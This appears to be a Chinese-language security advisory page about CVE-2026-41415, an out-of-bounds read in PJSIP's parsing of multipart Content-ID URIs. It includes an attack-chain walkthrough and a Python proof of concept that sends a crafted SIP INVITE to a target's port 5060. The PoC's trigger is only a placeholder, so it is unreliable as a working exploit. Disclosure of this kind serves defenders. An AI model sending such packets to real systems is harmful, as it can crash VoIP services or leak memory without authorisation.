IPBUF安全漏洞报告
English
CVE-2026-41415 CVSS 9.1 严重

CVE-2026-41415 PJSIP越界读取漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41415
漏洞类型
越界读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PJSIP

相关标签

越界读取PJSIPSIPDoS信息泄露CVE-2026-41415

漏洞概述

PJSIP是一个用C语言编写的免费开源多媒体通信库。在2.16及更早版本中,该库在解析SIP多部分消息正文中的畸形Content-ID URI时,由于长度验证不足,存在越界读取漏洞。攻击者无需认证即可利用此缺陷,通过网络发送特制的数据包导致读取超出缓冲区边界,进而可能引发敏感信息泄露或服务拒绝等严重后果。

技术细节

该漏洞根因在于PJSIP库在处理SIP multipart消息体内部结构时,对Content-ID URI字段的解析逻辑存在严重缺陷。具体而言,解析器在处理畸形的URI数据时,未能执行充分的长度边界检查,致使程序执行读取操作时超出了预分配的缓冲区边界。这是一种典型的越界读取(Out-of-Bounds Read)错误。鉴于PJSIP被广泛应用于VoIP及各类即时通信软件中,该漏洞具有较高的实用价值。攻击者可以通过网络向目标设备发送精心构造的恶意SIP数据包,无需身份验证即可远程触发该漏洞。成功的利用可能导致服务进程崩溃(拒绝服务),或者因读取越界内存数据而导致敏感信息泄露,对系统的机密性和可用性构成严重威胁。虽然完整性未受影响,但考虑到无需用户交互即可触发,其风险等级极高。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找使用PJSIP库且版本低于2.17的VoIP服务或通信设备。
STEP 2
构建载荷
攻击者构造一个包含multipart消息体的SIP请求(如INVITE),其中Content-ID字段包含特制的畸形URI数据,旨在绕过长度检查。
STEP 3
投递载荷
攻击者通过网络直接向目标设备的SIP端口(默认5060)发送恶意数据包。
STEP 4
触发漏洞
目标PJSIP库解析Content-ID时发生越界读取,导致内存访问错误。
STEP 5
达成效果
利用成功导致目标服务崩溃(DoS)或泄露内存中的敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41415 PJSIP Out-of-bounds Read # This script sends a crafted SIP INVITE message with a malformed Content-ID URI. import socket target_ip = "TARGET_IP" target_port = 5060 # Crafted SIP message with multipart/mixed body and malformed Content-ID # The Content-ID header is designed to trigger the parsing flaw. payload = ( "INVITE sip:100@{target_ip} SIP/2.0\r\n" "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK-12345\r\n" "Max-Forwards: 70\r\n" "To: <sip:100@{target_ip}>\r\n" "From: <sip:[email protected]>;tag=12345\r\n" "Call-ID: [email protected]\r\n" "CSeq: 1 INVITE\r\n" "Contact: <sip:[email protected]>\r\n" "Content-Type: multipart/mixed; boundary=boundary123\r\n" "Content-Length: 200\r\n" "\r\n" "--boundary123\r\n" "Content-Type: application/sdp\r\n" "Content-ID: <[MALFORMED_URI_TRIGGERING_OOB_READ]>\r\n" # Trigger point "\r\n" "v=0\r\no=- 0 0 IN IP4 0.0.0.0\r\ns=-\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\n" "--boundary123--\r\n" ).format(target_ip=target_ip) try: print(f"[+] Sending PoC to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(payload.encode(), (target_ip, target_port)) print("[+] Payload sent. Check if the target crashes or exhibits behavior.") except Exception as e: print(f"[-] Error: {e}")

影响范围

PJSIP <= 2.16

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界部署防火墙或IPS规则,检测并阻断包含异常Content-ID字段或畸形URI结构的SIP multipart流量。此外,应严格限制SIP服务端口的访问来源,仅允许受信任的IP地址或网关进行连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表